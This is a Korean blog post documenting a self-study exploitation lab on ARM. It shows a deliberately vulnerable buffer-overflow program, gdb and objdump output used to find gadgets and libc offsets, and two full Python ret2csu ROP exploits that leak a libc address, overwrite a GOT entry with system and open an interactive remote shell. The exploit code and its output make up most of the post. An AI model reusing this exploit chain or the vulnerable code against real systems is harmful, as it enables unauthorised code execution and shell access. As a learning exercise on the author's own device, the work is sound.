Self-Improvement

ARM - ROP 예제 (ASLR, return to csu, socat, python-struct만 쓰기) 본문

ARM

ARM - ROP 예제 (ASLR, return to csu, socat, python-struct만 쓰기)

JoGeun 2021. 1. 26. 16:56

소스코드

// gcc -fno-stack-protector -o bof bof.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void)
{
	char buf[100];
	read(0, buf, 1024);
	write(1, buf, 0x100);

	return 0;
}

 

 

보호기법

ASLR on

gef> checksec
[+] checksec for '/home/pi/bof'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : No

ASLR이 존재함으로 ROP를 할때는 offset을 이용해야 하는 것과 바이너리파일에 system 함수가 없어도 라이브러리에서 offset을 통해 system 함수를 call 하여 실행시킬 것이다.

 

바이너리 파일 포워딩?

다른 터미널에서 socat 명령어로 3312 포트에 바이너리파일을 대기해 놓았다.

socat tcp-listen:3312,reuseaddr,fork EXEC:./bof

 

가젯

바이너리에 있는 __libc_csu_init 함수의 가젯을 사용하는데 기존 ELF에서도 사용되던 가젯이다.

gef> x/30i 0x10490
   0x10490 <__libc_csu_init>:	push	{r3, r4, r5, r6, r7, r8, r9, lr}
   0x10494 <__libc_csu_init+4>:	mov	r7, r0
   0x10498 <__libc_csu_init+8>:	ldr	r6, [pc, #76]	; 0x104ec <__libc_csu_init+92>
   0x1049c <__libc_csu_init+12>:	ldr	r5, [pc, #76]	; 0x104f0 <__libc_csu_init+96>
   0x104a0 <__libc_csu_init+16>:	add	r6, pc, r6
   0x104a4 <__libc_csu_init+20>:	add	r5, pc, r5
   0x104a8 <__libc_csu_init+24>:	rsb	r6, r5, r6
   0x104ac <__libc_csu_init+28>:	mov	r8, r1
   0x104b0 <__libc_csu_init+32>:	mov	r9, r2
   0x104b4 <__libc_csu_init+36>:	bl	0x102c8 <_init>
   0x104b8 <__libc_csu_init+40>:	asrs	r6, r6, #2
   0x104bc <__libc_csu_init+44>:	popeq	{r3, r4, r5, r6, r7, r8, r9, pc}
   0x104c0 <__libc_csu_init+48>:	sub	r5, r5, #4
   0x104c4 <__libc_csu_init+52>:	mov	r4, #0
   0x104c8 <__libc_csu_init+56>:	add	r4, r4, #1
   0x104cc <__libc_csu_init+60>:	ldr	r3, [r5, #4]!
   0x104d0 <__libc_csu_init+64>:	mov	r0, r7
   0x104d4 <__libc_csu_init+68>:	mov	r1, r8
   0x104d8 <__libc_csu_init+72>:	mov	r2, r9
   0x104dc <__libc_csu_init+76>:	blx	r3
   0x104e0 <__libc_csu_init+80>:	cmp	r4, r6
   0x104e4 <__libc_csu_init+84>:	bne	0x104c8 <__libc_csu_init+56>
   0x104e8 <__libc_csu_init+88>:	pop	{r3, r4, r5, r6, r7, r8, r9, pc}

 

gadget1

그 중에서도 아래쪽의 gadget1은 pop {r3, r4, r5, r6, r7, r8, r9, pc}이다.

0x104e8 <__libc_csu_init+88>:	pop	{r3, r4, r5, r6, r7, r8, r9, pc}

 

gadget2

gadget2는 blx r3로 시작하며 gadget1에서 pop 했던 r7, r8, r9로 인자를 셋팅해주며 r3의 함수로 실행하게 되는 것이다. 그리고 r4와 r6을 equal로 셋팅해주면 bne를 수행하지 않아 ROP가 가능하다.

 

여담이지만 ldr r3, [r5, #4]!를 gadget2으로 사용할시엔 got만 필요하다, plt는 필요없다.

셋팅할 때 r5에는 got-4 주소를 주고 gadget2가 시작되면 got는 포인터로써 실제 함수의 주소를 담고 있음으로 결론적으로는 위 가젯으로도 가능하다.

mungsul.tistory.com/entry/arm-exploitation-using-ROP?category=453471

   0x104c8 <__libc_csu_init+56>:	add	r4, r4, #1
   0x104cc <__libc_csu_init+60>:	ldr	r3, [r5, #4]!
   0x104d0 <__libc_csu_init+64>:	mov	r0, r7
   0x104d4 <__libc_csu_init+68>:	mov	r1, r8
   0x104d8 <__libc_csu_init+72>:	mov	r2, r9
   0x104dc <__libc_csu_init+76>:	blx	r3
   0x104e0 <__libc_csu_init+80>:	cmp	r4, r6
   0x104e4 <__libc_csu_init+84>:	bne	0x104c8 <__libc_csu_init+56>

 

필요한 주소 재료들

system_offset

read 주소를 leak하고 system 주소를 얻기 위해서 라이브러에서의 read-system의 offset 값을 구하는 것이다.

간혹 ldd할때의 라이브러리와 실행 시 올라가는 라이브러리가 다른경우가 있으니 gdb로 vmmap으로 확실히 확인하자

0x88844

gef> vmmap
Start      End        Offset     Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/bof
0x00020000 0x00021000 0x00000000 rw- /home/pi/bof
0xb6e74000 0xb6f9f000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6f9f000 0xb6faf000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6faf000 0xb6fb1000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6fb1000 0xb6fb2000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so
[...]


gdb -q /lib/arm-linux-gnueabihf/libc-2.19.so
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 7.7.1 using Python engine 2.7
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from /lib/arm-linux-gnueabihf/libc-2.19.so...Reading symbols from /usr/lib/debug//lib/arm-linux-gnueabihf/libc-2.19.so...done.
done.
gef> p read-system
$1 = 0x88844

 

bss

objdump라는 명령어를 이용해서 얻어주도록 하자, bss영역은 ASLR과 상관없이 주소가 고정이다 probably?

0x20630

objdump -h bof | grep bss
 23 .bss          00000004  00020630  00020630  00000630  2**0

 

write, read의 plt

바이너리 파일이나 IDA로 구해주자

0x1030c, 0x102e8

gef> disassemble main
Dump of assembler code for function main:
=> 0x0001044c <+0>:	push	{r11, lr}
   0x00010450 <+4>:	add	r11, sp, #4
   0x00010454 <+8>:	sub	sp, sp, #104	; 0x68
   0x00010458 <+12>:	sub	r3, r11, #104	; 0x68
   0x0001045c <+16>:	mov	r0, #0
   0x00010460 <+20>:	mov	r1, r3
   0x00010464 <+24>:	mov	r2, #1024	; 0x400
   0x00010468 <+28>:	bl	0x102e8	# read
   0x0001046c <+32>:	sub	r3, r11, #104	; 0x68
   0x00010470 <+36>:	mov	r0, #1
   0x00010474 <+40>:	mov	r1, r3
   0x00010478 <+44>:	mov	r2, #100	; 0x64
   0x0001047c <+48>:	bl	0x1030c	# write
   0x00010480 <+52>:	mov	r3, #0
   0x00010484 <+56>:	mov	r0, r3
   0x00010488 <+60>:	sub	sp, r11, #4
   0x0001048c <+64>:	pop	{r11, pc}
End of assembler dump.

 

 

python 코드 아래에 간결하게 재 업로드

read_off는 libc base 주소를 찍어보기 위해서 하였으며 없어도된다.

import struct
import socket 

p32 = lambda x : struct.pack("<I", x)

system_offset=0x88844
bss=0x20630
binsh="/bin/sh\x00"
read_off=0xc27f0

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",3312))

#stage 1 = read 주소 leak
payload="A"*104
payload+=p32(0x104e8)	# gadget1
payload+=p32(0x1030c)	# write_plt
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x1)	# write-fd
payload+=p32(0x20610)  # read_got
payload+=p32(0x4)	# write-len
payload+=p32(0x104d0)	# gadget2

#stage 2 = read 함수로 bss영역에 "/bin/sh"
payload+=p32(0x102e8)	# read_plt
payload+=p32(0X0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)	# read-fd
payload+=p32(0x20630)	# bss
payload+=p32(0x8)	# read-len
payload+=p32(0x104d0)	# gadget2

#stage 3 = write got를 system 주소로 overwrite
payload+=p32(0x102e8)	# read_plt
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)	# read-fd
payload+=p32(0x2061c)	# write_got
payload+=p32(0x4)	# read-len
payload+=p32(0x104d0)	# gadget2

#stage 4 = write 호출, 인자는 "/bin/sh"
payload+=p32(0x1030c)	# write_plt
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x20630)	# bss
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x104d0)	# gadget2

s.send(payload)
s.recv(1024)

read=struct.unpack('<L',s.recv(4))[0] # tuple
print "=============================="
print("read addr : 0x%x" %read)
print("libc addr : 0x%x" %(read-read_off))
system=read-system_offset
print("system add : 0x%x" %system)
print "=============================="

s.send(binsh)
s.send(p32(system))

while 1:
	input_string=raw_input('remote_shell$ ')
	s.send(input_string+"\n")
	if input_string == 'exit':
		s.close()
		break
	print s.recv(1024)
$ python b.py 
==============================
read addr : 0xb6e627f0
libc addr : 0xb6da0000
system add : 0xb6dd9fac
==============================
remote_shell$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)

 

(2021-01-28) Python 코드 수정

참고

gbyolo.gitlab.io/posts/2020/07/ret2csu-arm-32bit/

import struct
import socket 

p32 = lambda x : struct.pack("<I", x)

system_offset=0x88844
bss=0x20630
binsh="/bin/sh\x00"
read_off=0xc27f0
gadget1=0x104e8
gadget2=0x104d0

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",3312))

def ret2csu(call, r0, r1, r2, chain=False):
	payload=''
	if not chain:
			payload+=p32(gadget1)
	payload+=p32(call)
	payload+=p32(0x0)
	payload+=p32(0x0)
	payload+=p32(0x0)
	payload+=p32(r0)
	payload+=p32(r1)
	payload+=p32(r2)
	payload+=p32(gadget2)
	return payload

payload="A"*104
payload+=ret2csu(0x1030c, 0x1, 0x20610, 0x4)	# write(1, read_got, 4)
payload+=ret2csu(0x102e8, 0x0, 0x20630, 0x8, chain=True)	# read(0, bss, 8)
payload+=ret2csu(0x102e8, 0x0, 0x2061c, 0x4, chain=True)	# read(0, write_got, 4)
payload+=ret2csu(0x1030c, 0x20630, 0x0, 0x0, chain=True)	# write(bss)

s.send(payload)
s.recv(1024)

read=struct.unpack('<L',s.recv(4))[0] # tuple
print "=============================="
print("read addr : 0x%x" %read)
print("libc addr : 0x%x" %(read-read_off))
system=read-system_offset
print("system add : 0x%x" %system)
print "=============================="

s.send(binsh)
s.send(p32(system))

while 1:
	input_string=raw_input('remote_shell$ ')
	s.send(input_string+"\n")
	if input_string == 'exit':
		s.close()
		break
	print s.recv(1024)
$ python b.py 
==============================
read addr : 0xb6e627f0
libc addr : 0xb6da0000
system add : 0xb6dd9fac
==============================
remote_shell$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)

 

마지막 할말

성공은 하였지만.. 페이로드가 너무길다! 줄일 수 있는 방안을 구해보자